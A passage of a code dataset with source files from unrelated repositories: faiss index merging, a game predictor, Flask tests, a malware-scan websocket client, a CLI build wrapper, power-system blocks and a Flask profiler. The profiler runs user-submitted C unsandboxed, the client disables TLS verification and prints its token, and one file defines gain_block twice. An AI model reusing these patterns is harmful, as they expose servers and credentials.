\"populated.index\")\n\npop = faiss.read_index(\"populated.index\", faiss.IO_FLAG_ONDISK_SAME_DIR)\n\n########################################################\n# Use case 4: use N indices using HStackInvertedLists #\n########################################################\n\n# This allows using N indices as a single combined index\n# without changing anything on disk or loading anything to memory\n# it works well but it's slower than first using merge_ondisk\n# because it requires explore N pieces of inverted list for each\n# list to explore\nimport os\n\n\nclass CombinedIndex:\n \"\"\"\n combines a set of inverted lists into a hstack\n adds these inverted lists to an empty index that contains\n the info on how to perform searches\n \"\"\"\n\n def __init__(self, invlist_fnames):\n ilv = faiss.InvertedListsPtrVector()\n\n for fname in invlist_fnames:\n if os.path.exists(fname):\n index = faiss.read_index(fname, faiss.IO_FLAG_MMAP)\n index_ivf = faiss.extract_index_ivf(index)\n il = index_ivf.invlists\n index_ivf.own_invlists = False\n else:\n raise FileNotFoundError\n ilv.push_back(il)\n\n self.big_il = faiss.HStackInvertedLists(ilv.size(), ilv.data())\n ntotal = self.big_il.compute_ntotal()\n\n self.index = faiss.read_index(invlist_fnames[0], faiss.IO_FLAG_MMAP)\n\n index_ivf = faiss.extract_index_ivf(self.index)\n index_ivf.replace_invlists(self.big_il, True)\n index_ivf.ntotal = self.index.ntotal = ntotal\n\n def search(self, x, k):\n D, I = self.index.search(x, k)\n return D, I\n\n\nindex = CombinedIndex(index_paths)\nindex.search(queries, K)\n", "source": "Rexiome/autofaiss", "license": "Apache-2.0"} {"text": "import logging\r\nimport random\r\nimport os\r\nimport json\r\nfrom typing import Tuple, List\r\n\r\nimport requests\r\n\r\ndef predict(player_name: str) -> str:\r\n next_move = _predict_next_move(*_get_player_games(player_name))\r\n return _convert_game_to_json(next_move)\r\n\r\n\r\nR_rock, P_paper, S_scissors, V_spock, L_lizard = ('R', 'P', 'S', 'V', 'L')\r\nINTERNAL_MOVES_ENCODING = [R_rock, P_paper, S_scissors, V_spock, L_lizard]\r\n\r\n\r\ndef _get_player_games(player_name: str) -> Tuple[str, str]:\r\n game_manager_uri = os.getenv(\"GAME_MANAGER_URI\", None)\r\n url = f'{game_manager_uri}/game-manager/api/games?player={player_name}'\r\n\r\n logging.info(f'requesting human moves: {url}')\r\n req = requests.get(url)\r\n data = req.json()\r\n return _convert_games_to_str(data[\"challengerGames\"]), _convert_games_to_str(data[\"humanGames\"])\r\n\r\n\r\ndef _convert_games_to_str(games) -> str:\r\n SOURCE_MOVES_ENCODING = [R_rock, P_paper, S_scissors, L_lizard, V_spock]\r\n return \"\".join([SOURCE_MOVES_ENCODING[game] for game in games])\r\n\r\n\r\ndef _convert_game_to_json(game: str) -> str:\r\n JSON_MOVES_ENCODING = {R_rock: \"rock\", P_paper: \"paper\",\r\n S_scissors: \"scissors\", L_lizard: \"lizard\", V_spock: \"spock\"}\r\n return json.dumps({\"prediction\": JSON_MOVES_ENCODING[game]})\r\n\r\n\r\ndef _zip_moves(challenger_moves: List[str], human_moves: List[str]) -> List[Tuple[str, str]]:\r\n move_encoding_dict = {value: index for index, value in enumerate(INTERNAL_MOVES_ENCODING)}\r\n history = [(move_encoding_dict[i], move_encoding_dict[j])\r\n for i, j in zip(challenger_moves, human_moves)]\r\n return history\r\n\r\n\r\ndef _predict_next_move(challenger_moves: str, human_moves: str) -> str:\r\n history = _zip_moves(challenger_moves, human_moves)\r\n\r\n # what would have been predicted in the last rounds?\r\n pred_hist = [_best_next_moves_for_game(\r\n history[:i]) for i in range(2, len(history)+1)]\r\n\r\n # if no history prediction, then returns random\r\n if not pred_hist:\r\n return random.choice(INTERNAL_MOVES_ENCODING)\r\n\r\n # how would the different predictions have scored?\r\n # we have the pred_hist from moves i=2 to len(history) so we can check\r\n # check https://i.stack.imgur.com/jILea.png for game rules\r\n n_pred = len(pred_hist[0])\r\n scores = [[0]*5 for i in range(n_pred)]\r\n for pred, real in zip(pred_hist[:-1], history[2:]):\r\n for i in range(n_pred):\r\n # %5: When an int is negative it returns the count to the move\r\n # to beat another, in (reverse order) counterclockwise\r\n # i.e -1%5=4, -2%5=3\r\n scores[i][(real[1]-pred[i]+1) % 5] += 1\r\n scores[i][(real[1]-pred[i]+3) % 5] += 1\r\n # 1 & 3 move to the other \"moves\" that beat another\r\n # for example Rock is beaten with Paper and Spock,\r\n # which are 1 & 3 positions away\r\n scores[i][(real[1]-pred[i]+2) % 5] -= 1\r\n scores[i][(real[1]-pred[i]+4) % 5] -= 1\r\n\r\n # depending in predicted strategies, select best one with less risks\r\n # return best counter move\r\n best_scores = [list(max(enumerate(s), key=lambda x: x[1])) for s in scores]\r\n best_scores[-1][1] *= 1.001 # bias towards the simplest strategy\r\n if best_scores[-1][1] < 0.4*len(history):\r\n best_scores[-1][1] *= 1.4\r\n strat, (shift, _) = max(enumerate(best_scores), key=lambda x: x[1][1])\r\n\r\n return INTERNAL_MOVES_ENCODING[(pred_hist[-1][strat]+shift) % 5]\r\n\r\n\r\ndef _best_next_moves_for_game(hist: List[str]) -> List[List[str]]:\r\n\r\n N = len(hist)\r\n # find longest match of the preceding moves in the earlier history\r\n cand_m = cand_o = cand_b = range(N-1)\r\n\r\n for l in range(1, min(N, 20)):\r\n ref = hist[N-l]\r\n\r\n # l = 1\r\n # Looks for previous occurrences of the last move in my_moves, since hist[N-l] == hist[-1]\r\n # l = 2\r\n # it checks which of the possible candidates was preceded by the move previous to the last\r\n # and so on... i.e loos for longest chain matching last moves to use the next move\r\n cand_m_tmp = []\r\n for c in cand_m:\r\n if c >= l and hist[c-l+1][0] == ref[0]:\r\n cand_m_tmp.append(c)\r\n if not cand_m_tmp:\r\n cand_m = cand_m[-1:]\r\n else:\r\n cand_m = cand_m_tmp[:]\r\n\r\n # same for op_moves\r\n cand_o_tmp = []\r\n for c in cand_o:\r\n if c >= l and hist[c-l+1][1] == ref[1]:\r\n cand_o_tmp.append(c)\r\n if not cand_o_tmp:\r\n cand_o = cand_o[-1:]\r\n else:\r\n cand_o = cand_o_tmp[:]\r\n\r\n # same for both_moves i.e directly the zipped tuples\r\n cand_b_tmp = []\r\n for c in cand_b:\r\n if c >= l and hist[c-l+1] == ref:\r\n cand_b_tmp.append(c)\r\n if not cand_b_tmp:\r\n cand_b = cand_b[-1:]\r\n else:\r\n cand_b = cand_b_tmp[:]\r\n\r\n # analyze which moves were used how often, i.e a np.bincount\r\n freq_m, freq_o = [0]*5, [0]*5\r\n for m in hist:\r\n freq_m[m[0]] += 1\r\n freq_o[m[1]] += 1\r\n\r\n # return predictions (or possible \"good\" strategies)\r\n last_2_moves = [j for i in hist[:-3:-1] for j in i]\r\n return (last_2_moves + # repeat last moves\r\n [hist[cand_m[-1]+1][0], # history matching of my own moves\r\n # history matching of opponent's moves\r\n hist[cand_o[-1]+1][1],\r\n hist[cand_b[-1]+1][0], # history matching of both\r\n hist[cand_b[-1]+1][1],\r\n freq_m.index(max(freq_m)), # my most frequent move\r\n freq_o.index(max(freq_o)), # opponent's most frequent move\r\n 0])\r\n", "source": "ivan-b-ivanov/RockPaperScissorsLizardSpock", "license": "MIT"} {"text": "\nfrom flask import request\nimport pytest\nimport json\nfrom app import create_app, create_rest_api\nfrom db import get_db\n\n@pytest.fixture\ndef client():\n local_app = create_app()\n create_rest_api(local_app)\n client = local_app.test_client()\n\n yield client\n\n\ndef test_get_aquarium_invalid_id(client):\n\n with create_app().app_context():\n light_data = get_db().execute(\n 'SELECT id, timestamp, default_mode, total_food_quantity'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n invalid_id = light_data['id'] + 1\n request = client.get('/aquariumMode/' + str(invalid_id))\n\n assert request.status_code == 403\n\n\ndef test_set_aquarium_with_invalid_id(client):\n with create_app().app_context():\n light_data = get_db().execute(\n 'SELECT id'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n invalid_id = light_data['id'] + 1\n valid_type = 'crescatorie';\n request = client.put('/aquariumMode/' + str(invalid_id) + '?type=' + valid_type)\n\n assert request.status_code == 403\n\n\ndef test_set_aquarium_with_invalid_type(client):\n with create_app().app_context():\n light_data = get_db().execute(\n 'SELECT id'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n valid_id = light_data['id']\n invalid_type = 'notCrescatorie'\n request = client.put('/aquariumMode/' + str(valid_id) + '?type=' + invalid_type)\n\n assert request.status_code == 403\n\n\ndef test_set_aquarium_with_valid_type(client):\n local_app = create_app()\n with local_app.app_context():\n light_data = get_db().execute(\n 'SELECT id'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n\n valid_id = light_data['id']\n valid_type = 'crescatorie'\n request = client.put('/aquariumMode/' + str(1) + '?type=' + valid_type)\n\n res = json.loads(request.data.decode())\n assert request.status_code == 200\n", "source": "UnibucProjects/SmartAquarium", "license": "MIT"} {"text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport sys\r\nimport json\r\nimport ssl\r\nimport click\r\nfrom json.decoder import JSONDecodeError\r\nfrom websocket import WebSocketException\r\nfrom websocket import WebSocketConnectionClosedException\r\nfrom websocket import create_connection\r\nfrom datetime import datetime as dtime\r\nfrom .app import create_app\r\n\r\nflask_app = create_app()\r\n\r\n\r\ndef websocket_scan_thread(ws):\r\n from mods.api.tasks import eval_result\r\n while True:\r\n msg = \"\"\r\n try:\r\n msg = ws.recv()\r\n # print(dtime.now(), \"[RESPONSE]\", type(msg))\r\n msg = json.loads(msg)\r\n # print(dtime.now(), \"[PARSED]\", msg)\r\n eval_result.apply_async(args=(msg,))\r\n print(\r\n dtime.now(),\r\n \"[!] [{server_time}] Result for file with SHA1 Hash: {sha1} | cas id: {id}\"\r\n .format(**msg))\r\n except (KeyError, JSONDecodeError, WebSocketException, OSError,\r\n WebSocketConnectionClosedException) as e:\r\n print(dtime.now(), \"[ERROR]: %s\" % (e))\r\n sys.exit(1)\r\n pass\r\n\r\n\r\n@click.command(\r\n context_settings=dict(ignore_unknown_options=True, help_option_names=[]))\r\ndef run_wsclient():\r\n \"\"\"Websocket listener for evaluation results\"\"\"\r\n CAS_API = flask_app.config['CAS_API']\r\n secure_prefix = \"s\"\r\n token = CAS_API['token']\r\n print(f\"Loading token from app.config... {token}\")\r\n host = CAS_API['host']\r\n print(f\"Loading host from app.config... {host}\")\r\n headers = {'X-API-TOKEN': token}\r\n # Subscribe to the websocket publisher.\r\n url = \"ws%s://%s/rapi/ws/cas_task\" % (secure_prefix, host)\r\n try:\r\n ws = create_connection(\r\n url, sslopt={\"cert_reqs\": ssl.CERT_NONE}, header=headers)\r\n except (OSError,) as e:\r\n print(dtime.now(), \"[ERROR]: %s\" % (e))\r\n sys.exit(2)\r\n pass\r\n thread = websocket_scan_thread(ws)\r\n thread.start()\r\n", "source": "lbahtarliev/MalwareScan", "license": "Unlicense"} {"text": "from train import train_model\nfrom utils import *\nimport os\nimport sys\n\npwd = os.environ.get('CLIP_DIR')\nDATA_DIR = \"%s/data/processed/\" % pwd\nexp_name = \"non_multilabel\"\n\nrun_name = \"sentence_structurel_with_crf\"\ntrain_file_name = \"MIMIC_train_binary.csv\"\ndev_file_name = \"MIMIC_val_binary.csv\"\ntest_file_name = \"test_binary.csv\"\nexp_name = \"outputs_binary\"\ntrain = read_sentence_structure(os.path.join(DATA_DIR, train_file_name))\ndev = read_sentence_structure(os.path.join(DATA_DIR, dev_file_name))\ntest = read_sentence_structure(os.path.join(DATA_DIR, test_file_name))\nrun_name = \"binary\"\n\n\ndef main(args):\n train_model(\n train,\n dev,\n test,\n args[0],\n exp_name,\n use_crf=True,\n learning_rate=float(args[1]),\n epochs=int(args[2]),\n writer_preds_freq=10,\n embeddings_type=\"BioWord\",\n list_of_possible_tags=[\"followup\"],\n embeddings_path=\"%s/CLIP/experiments/tagger/embeddings\" % pwd,\n )\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n", "source": "ASAPP-H/clip2", "license": "MIT"} {"text": "import subprocess, os\r\n\r\n# constants with global scope\r\nINPUT = \"--input\"\r\nOUTPUT = \"--output\"\r\nFILTERS = \"--filters\"\r\nSUPPPLEMENTS = \"--supplements\"\r\nJAR_DIRECTORY = \"target\"\r\nJAR_NAME = \"report-engine.jar\"\r\n\r\ndef build_jar():\r\n should_package = input(\"\\nBuild \" + JAR_NAME + \" file from src (Y/N) ? \")\r\n # check if jar is to be built \r\n if len(should_package) != 0 and (should_package[0] == 'Y' or should_package[0] == 'y'): \r\n # define build commands for maven \r\n mvn_cmd = ['mvn', 'clean', 'package']\r\n print(\"\\nBuilding \" + JAR_NAME + \" from src using command:\\n\" + ' '.join(mvn_cmd) + '\\n')\r\n # build jar using maven through an external process spawned from python\r\n mvn_process = subprocess.Popen(mvn_cmd, shell=True)\r\n mvn_process.wait()\r\n return mvn_process.returncode\r\n else:\r\n return None\r\n \r\ndef execute_jar(app_cmd_args):\r\n should_run = input(\"\\nRun \" + JAR_NAME + \" file from target (Y/N) ? \")\r\n # check if jar is to be run \r\n if len(should_run) != 0 and (should_run[0] == 'Y' or should_run[0] == 'y'): \r\n # form jar file path based on underlying os\r\n jar_location = os.path.join(JAR_DIRECTORY,JAR_NAME)\r\n # define commands for executing .jar file using java\r\n jar_cmd = ['java', '-jar', jar_location]\r\n # parse arguments\r\n for key,value in app_cmd_args.items():\r\n jar_cmd.append(key + '=' + value)\r\n print(\"\\nExecuting \" + JAR_NAME + \" using command: \\n\" + ' '.join(jar_cmd) + '\\n')\r\n # execute jar using java through an external process spawned from python\r\n jar_process = subprocess.Popen(jar_cmd, shell=True)\r\n jar_process.wait()\r\n return jar_process.returncode;\r\n else:\r\n return None\r\n \r\ndef main():\r\n # input from user through stdin\r\n input_path = input(\"Enter the directory path containing profiles to be parsed (--input): \")\r\n output_path = input(\"Enter the directory path where reports will be dumped (--output): \")\r\n filters = input(\"Profile properties for which filtered reports will be generated (--filters optional): \")\r\n supplements = input(\"Profile properties for which supplementary reports will be generated (--supplements optional): \")\r\n \r\n # format arguments\r\n app_cmd_args = dict([(INPUT,input_path)])\r\n \r\n # validate optional arguments\r\n if len(filters) != 0:\r\n app_cmd_args[FILTERS] = filters\r\n if len(output_path) != 0:\r\n app_cmd_args[OUTPUT] = output_path\r\n if len(supplements) != 0:\r\n app_cmd_args[SUPPPLEMENTS] = supplements\r\n \r\n # validate arguments\r\n if len(app_cmd_args.get(INPUT)) == 0:\r\n print(\"\\n\" + INPUT + \" option is mandatory! Please re-run the cli_wrapper.py script\\n\")\r\n else :\r\n # argument validated successfully\r\n mvn_exit_code = build_jar()\r\n # execute .jar file only if maven build is successful\r\n print(\"\\nMaven exit code: \" + str(mvn_exit_code)) \r\n if mvn_exit_code == 0 or mvn_exit_code == None:\r\n jar_exit_code = execute_jar(app_cmd_args)\r\n print(\"\\nJava exit code: \" + str(jar_exit_code))\r\n print('\\nReport engine terminated!')\r\n\r\nif __name__ == '__main__':\r\n main()", "source": "anirbandas18/report-engine", "license": "MIT"} {"text": "from . import _tsp_c\nfrom .tsp_c import solve_greedy\nfrom .tsp_c import solve_SA\nfrom .tsp_c import set_param_SA\nfrom .tsp_c import solve_PSO", "source": "kjudom/tsp-c", "license": "MIT"} {"text": "#!python3\n#\n# Copyright (C) 2014-2015 Julius Susanto. All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n\n\"\"\"\nPYPOWER-Dynamics\nFunctions for standard blocks (solves a step)\n\n\"\"\"\n\nimport numpy as np\n\n# Gain block\n# yo = p * yi\n# p is a scalar gain coefficient\n\n\ndef gain_block(yi, p):\n yo = p * yi\n\n return yo\n\n# Divide block\n# yo = yi / p\n# p is a scalar gain coefficient\n\n\ndef gain_block(yi, p):\n if p != 0:\n yo = yi / p\n else:\n print('Error: division by zero, ignoring dividion operation')\n yo = yi\n return yo\n\n\n# Integrator block\n# K / sT\n# p = [K, T]\ndef int_block(h, x0, yi, p):\n f = yi * p[0] / p[1]\n x1 = x0 + h * f\n yo = x1\n\n return yo, x1, f\n\n# Lag block\n# K / (1 + sT)\n# p = [K, T]\n\n\ndef lag_block(h, x0, yi, p):\n f = (yi - x0) / p[1]\n x1 = x0 + h * f\n yo = p[0] * x1\n\n return yo, x1, f\n\n# Lead-Lag block\n# (1 + sTa) / (1 + sTb)\n# p = [Ta, Tb]\n\n\ndef leadlag_block(h, x0, yi, p):\n f = (yi - x0) / p[1]\n x1 = x0 + h * f\n yo = x1 + p[0] * (yi - x0) / p[1]\n\n return yo, x1, f\n\n# Limiter block\n# yo = min_lim, if yi < min_lim\n# yo = max_lim, if yi > max_lim\n# yo = yi, min_lim <= yi <= max_lim\n# p = [min_lim, max_lim]\n\n\ndef lim_block(yi, p):\n min_lim = p[0]\n max_lim = p[1]\n if yi < min_lim:\n yo = min_lim\n elif yi > max_lim:\n yo = max_lim\n else:\n yo = yi\n\n return yo\n\n# Multiplication block\n# yo = yi1 * yi2 * ... * yin\n# yi = [yi1, yi2, ... yin]\n\n\ndef mult_block(yi):\n yo = np.prod(yi)\n\n return yo\n\n# Summation block\n# yo = yi1 + yi2 + ... + yin\n# yi = [yi1, yi2, ... yin]\n\n\ndef sum_block(yi):\n yo = sum(yi)\n\n return yo\n\n# Washout block\n# (s / (1 + sT)\n# p is the time constant T\n\n\ndef wout_block(h, x0, yi, p):\n f = (yi - x0) / p\n x1 = x0 + h * f\n yo = (yi - x1) / p\n\n return yo, x1, f\n", "source": "chhokrad/PYPOWER-Dynamics", "license": "BSD-3-Clause"} {"text": "cities = [\n 'Budapest',\n 'Debrecen',\n 'Miskolc',\n 'Szeged',\n 'Pecs',\n 'Zuglo',\n 'Gyor',\n 'Nyiregyhaza',\n 'Kecskemet',\n 'Szekesfehervar',\n 'Szombathely',\n 'Jozsefvaros',\n 'Paradsasvar',\n 'Szolnok',\n 'Tatabanya',\n 'Kaposvar',\n 'Bekescsaba',\n 'Erd',\n 'Veszprem',\n 'Erzsebetvaros',\n 'Zalaegerszeg',\n 'Kispest',\n 'Sopron',\n 'Eger',\n 'Nagykanizsa',\n 'Dunaujvaros',\n 'Hodmezovasarhely',\n 'Salgotarjan',\n 'Cegled',\n 'Ozd',\n 'Baja',\n 'Vac',\n 'Szekszard',\n 'Papa',\n 'Gyongyos',\n 'Kazincbarcika',\n 'Godollo',\n 'Gyula',\n 'Hajduboszormeny',\n 'Kiskunfelegyhaza',\n 'Ajka',\n 'Oroshaza',\n 'Mosonmagyarovar',\n 'Dunakeszi',\n 'Kiskunhalas',\n 'Esztergom',\n 'Jaszbereny',\n 'Komlo',\n 'Nagykoros',\n 'Mako',\n 'Budaors',\n 'Szigetszentmiklos',\n 'Tata',\n 'Szentendre',\n 'Hajduszoboszlo',\n 'Siofok',\n 'Torokszentmiklos',\n 'Hatvan',\n 'Karcag',\n 'Gyal',\n 'Monor',\n 'Keszthely',\n 'Varpalota',\n 'Bekes',\n 'Dombovar',\n 'Paks',\n 'Oroszlany',\n 'Komarom',\n 'Vecses',\n 'Mezotur',\n 'Mateszalka',\n 'Mohacs',\n 'Csongrad',\n 'Kalocsa',\n 'Kisvarda',\n 'Szarvas',\n 'Satoraljaujhely',\n 'Hajdunanas',\n 'Balmazujvaros',\n 'Mezokovesd',\n 'Tapolca',\n 'Szazhalombatta',\n 'Balassagyarmat',\n 'Tiszaujvaros',\n 'Dunaharaszti',\n 'Fot',\n 'Dabas',\n 'Abony',\n 'Berettyoujfalu',\n 'Puspokladany',\n 'God',\n 'Sarvar',\n 'Gyomaendrod',\n 'Kiskoros',\n 'Pomaz',\n 'Mor',\n 'Sarospatak',\n 'Batonyterenye',\n 'Bonyhad',\n 'Gyomro',\n 'Tiszavasvari',\n 'Ujfeherto',\n 'Nyirbator',\n 'Sarbogard',\n 'Nagykata',\n 'Budakeszi',\n 'Pecel',\n 'Pilisvorosvar',\n 'Sajoszentpeter',\n 'Szigethalom',\n 'Balatonfured',\n 'Hajduhadhaz',\n 'Kisujszallas',\n 'Dorog',\n 'Kormend',\n 'Marcali',\n 'Barcs',\n 'Tolna',\n 'Tiszafured',\n 'Kiskunmajsa',\n 'Tiszafoldvar',\n 'Albertirsa',\n 'Nagyatad',\n 'Tiszakecske',\n 'Toeroekbalint',\n 'Koszeg',\n 'Celldomolk',\n 'Heves',\n 'Mezobereny',\n 'Szigetvar',\n 'Pilis',\n 'Veresegyhaz',\n 'Bicske',\n 'Edeleny',\n 'Lajosmizse',\n 'Kistarcsa',\n 'Hajdusamson',\n 'Csorna',\n 'Nagykallo',\n 'Isaszeg',\n 'Sarkad',\n 'Kapuvar',\n 'Ullo',\n 'Siklos',\n 'Toekoel',\n 'Maglod',\n 'Paszto',\n 'Szerencs',\n 'Turkeve',\n 'Szeghalom',\n 'Kerepes',\n 'Jaszapati',\n 'Janoshalma',\n 'Tamasi',\n 'Kunszentmarton',\n 'Hajdudorog',\n 'Vasarosnameny',\n 'Solymar',\n 'Rackeve',\n 'Derecske',\n 'Kecel',\n 'Nadudvar',\n 'Ocsa',\n 'Dunafoldvar',\n 'Fehergyarmat',\n 'Kiskunlachaza',\n 'Kunszentmiklos',\n 'Szentgotthard',\n 'Devavanya',\n 'Biatorbagy',\n 'Kunhegyes',\n 'Lenti',\n 'Ercsi',\n 'Balatonalmadi',\n 'Polgar',\n 'Tura',\n 'Suelysap',\n 'Fuzesabony',\n 'Jaszarokszallas',\n 'Gardony',\n 'Tarnok',\n 'Nyiradony',\n 'Zalaszentgrot',\n 'Sandorfalva',\n 'Soltvadkert',\n 'Nyergesujfalu',\n 'Bacsalmas',\n 'Csomor',\n 'Putnok',\n 'Veszto',\n 'Kistelek',\n 'Zirc',\n 'Halasztelek',\n 'Mindszent',\n 'Acs',\n 'Enying',\n 'Letavertes',\n 'Nyirtelek',\n 'Szentlorinc',\n 'Felsozsolca',\n 'Solt',\n 'Fegyvernek',\n 'Nagyecsed',\n 'Encs',\n 'Ibrany',\n 'Mezokovacshaza',\n 'Ujszasz',\n 'Bataszek',\n 'Balkany',\n 'Sumeg',\n 'Tapioszecso',\n 'Szabadszallas',\n 'Battonya',\n 'Polgardi',\n 'Mezocsat',\n 'Totkomlos',\n 'Piliscsaba',\n 'Szecseny',\n 'Fuzesgyarmat',\n 'Kaba',\n 'Pusztaszabolcs',\n 'Teglas',\n 'Mezohegyes',\n 'Jaszladany',\n 'Tapioszele',\n 'Aszod',\n 'Diosd',\n 'Taksony',\n 'Tiszalok',\n 'Izsak',\n 'Komadi',\n 'Lorinci',\n 'Alsozsolca',\n 'Kartal',\n 'Dunavarsany',\n 'Erdokertes',\n 'Janossomorja',\n 'Kerekegyhaza',\n 'Balatonboglar',\n 'Szikszo',\n 'Domsod',\n 'Nagyhalasz',\n 'Kisber',\n 'Kunmadaras',\n 'Berhida',\n 'Kondoros',\n 'Melykut',\n 'Jaszkiser',\n 'Csurgo',\n 'Csorvas',\n 'Nagyszenas',\n 'Ujkigyos',\n 'Tapioszentmarton',\n 'Tat',\n 'Egyek',\n 'Tiszaluc',\n 'Orbottyan',\n 'Rakoczifalva',\n 'Hosszupalyi',\n 'Paty',\n 'Elek',\n 'Vamospercs',\n 'Morahalom',\n 'Bugyi',\n 'Emod',\n 'Labatlan',\n 'Csakvar',\n 'Algyo',\n 'Kenderes',\n 'Csenger',\n 'Fonyod',\n 'Rakamaz',\n 'Martonvasar',\n 'Devecser',\n 'Orkeny',\n 'Tokaj',\n 'Tiszaalpar',\n 'Kemecse',\n 'Korosladany'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"} {"text": "import argparse\n\n\nclass ArchParser(argparse.ArgumentParser):\n def __init__(self, model_names, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.add_argument('-a', '--arch', metavar='ARCH', choices=model_names,\n help='model architecture: ' + ' | '.join(model_names))\n\n\nclass BasicParser(argparse.ArgumentParser):\n def __init__(self, description='PyTorch Segmentation Pretraining', **kwargs):\n super().__init__(description=description, **kwargs)\n self.add_argument('data_root', metavar='DIR', help='path to dataset')\n self.add_argument('--work-dir', default='./', metavar='DIR',\n help='path to work directory (default: ./)')\n self.add_argument('--workers', default=32, type=int, metavar='N',\n help='number of data loading workers (default: 32)')\n self.add_argument('--epochs', default=200, type=int, metavar='N',\n help='number of total epochs to run (default: 200)')\n self.add_argument('--start-epoch', default=0, type=int, metavar='N',\n help='manual epoch number (useful on restarts)')\n self.add_argument('--crop-size', default=512, type=int,\n help='augmentation crop size (default: 512)')\n self.add_argument('--batch-size', default=256, type=int, metavar='N',\n help='mini-batch size (default: 256), this is the total '\n 'batch size of all GPUs on the current node when '\n 'using Data Parallel or Distributed Data Parallel')\n self.add_argument('--base-lr', default=0.01, type=float, metavar='LR',\n help='initial learning rate', dest='base_lr')\n self.add_argument('--momentum', default=0.9, type=float, metavar='M',\n help='momentum of SGD solver')\n self.add_argument('--wd', '--weight-decay', default=1e-4, type=float, metavar='W',\n help='weight decay (default: 1e-4)', dest='weight_decay')\n self.add_argument('--print-freq', default=10, type=int, metavar='N',\n help='print frequency (default: 10 iters)')\n self.add_argument('--checkpoint-freq', default=10, type=int, metavar='N',\n help='checkpoint frequency (default: 10 epochs)')\n self.add_argument('--resume', default='', type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\n self.add_argument('--pretrained', default='', type=str, metavar='PATH',\n help='path to init checkpoint (default: none)')\n self.add_argument('--world-size', default=-1, type=int,\n help='number of nodes for distributed training')\n self.add_argument('--rank', default=-1, type=int,\n help='node rank for distributed training')\n self.add_argument('--dist-url', default='tcp://localhost:29500', type=str,\n help='url used to set up distributed training')\n self.add_argument('--dist-backend', default='nccl',\n type=str, help='distributed backend')\n self.add_argument('--seed', default=None, type=int,\n help='seed for initializing training.')\n self.add_argument('--gpu', default=None,\n type=int, help='GPU id to use.')\n self.add_argument('--multiprocessing-distributed', action='store_true',\n help='Use multi-processing distributed training to launch '\n 'N processes per node, which has N GPUs. This is the '\n 'fastest way to use PyTorch for either single node or '\n 'multi node data parallel training')\n self.add_argument('--fp16', action='store_true',\n help='mixed percision training')\n self.add_argument('--update-interval', default=1,\n type=int, help='gradient update interval')\n", "source": "toytag/self-supervised-learning-for-semantic-segmentation", "license": "MIT"} {"text": "from flask import Flask, request\nimport os\nfrom subprocess import Popen, PIPE\nimport json\n\nfrom prof_file_util import load_source, load_line_profile, load_graph_profile\nfrom linewise_barchart import linewise_barchart\nfrom valgrind import extract_valgrind_result\nfrom mem_issue_visualize import mem_issue_visualize\n\napp = Flask(__name__)\n\n@app.route('/upload-file', methods = ['POST'])\ndef hello():\n '''\n shall return a json dict\n if succeeds, \n {\n 'error': 0,\n 'vega_json': ...\n 'node_json': ...\n 'edge_json': ...\n ...\n }\n if fails,\n {\n 'error': 1,\n 'source': formatted source code,\n 'error_message': the compile failure message\n }\n '''\n code = request.get_json()['code']\n # print(code)\n local_path = 'temp.c' # TODO: hash file names to handle concurrency issues\n with open(local_path, 'w') as f:\n f.write(code)\n\n process = Popen(['wc', '-l', local_path], stdout=PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n\n # print(output)\n # with open('test.json') as f:\n # s = json.load(f)\n\n ret_dict = {}\n\n '''\n Invoke compiler (if need) and profiler to generate the results.\n '''\n os.system('clang-format -i {}'.format(local_path))\n compile_retvalue = os.system('gcc -g -pg {} -o prog 1> gcc_output 2>&1'.format(local_path))\n # handle compiling error\n if compile_retvalue != 0:\n ret_dict['error'] = 1\n ret_dict['source'] = ''.join(list(open(local_path, 'r').readlines()))\n ret_dict['error_message'] = ''.join(list(open('gcc_output', 'r').readlines()))\n return ret_dict\n\n os.system('./prog')\n os.system('ctags --fields=+ne -o - --sort=no {} 1> ctags_output 2>&1'.format(local_path))\n os.system('gprof --graph prog gmon.out 1> graph_file 2>&1')\n os.system('gprof -l prog gmon.out 1> linewise_file 2>&1')\n\n '''\n Now we have the outputs. Visualize and pass it back to the frontend.\n '''\n # for debug purpose. Only linux can host grof so far.\n ret_dict['error'] = 0\n if os.path.isfile('linewise_file') and os.path.getsize('linewise_file') > 0\\\n and os.path.isfile('graph_file') and os.path.getsize('graph_file') > 0:\n df = load_line_profile(local_path, 'linewise_file')\n chart = linewise_barchart(df)\n # chart.save('new.json')\n '''\n TODO: Maybe the temporary files should be cleared or\n stored somewhere serving as history data.\n '''\n ret_dict['vega_json'] = json.loads(chart.to_json())\n graph_dct = load_graph_profile('graph_file')\n if graph_dct:\n for k, v in graph_dct.items():\n ret_dict[k] = v\n else:\n ret_dict['vega_json'] = json.load(open('test.json', 'r'))\n # print(uninitialised_buffer, invalid_write_buffer, mem_leak_dic)\n\n return ret_dict\n\n@app.route('/mem-profile', methods = ['POST'])\ndef mem_profile():\n '''\n shall return a json dict\n if succeeds, \n {\n 'error': 0,\n 'vega_json': ...\n ...\n }\n if fails,\n {\n 'error': 1,\n 'source': formatted source code,\n 'error_message': the compile failure message\n }\n '''\n code = request.get_json()['code']\n # print(code)\n local_path = 'temp.c' # TODO: hash file names to handle concurrency issues\n with open(local_path, 'w') as f:\n f.write(code)\n\n process = Popen(['wc', '-l', local_path], stdout=PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n\n # print(output)\n # with open('test.json') as f:\n # s = json.load(f)\n\n ret_dict = {}\n '''\n Invoke compiler (if need) and profiler to generate the results.\n '''\n os.system('clang-format -i {}'.format(local_path))\n compile_retvalue = os.system('gcc -pedantic -g {} -o exec 1> gcc_output 2>&1'.format(local_path))\n\n if compile_retvalue != 0:\n ret_dict['error'] = 1\n ret_dict['source'] = ''.join(list(open(local_path, 'r').readlines()))\n ret_dict['error_message'] = ''.join(list(open('gcc_output', 'r').readlines()))\n return ret_dict\n\n os.system('valgrind ./exec > valgrind.txt 2>&1')\n uninitialised_buffer, invalid_write_buffer = extract_valgrind_result('other', 'valgrind.txt')\n os.system('valgrind --leak-check=full 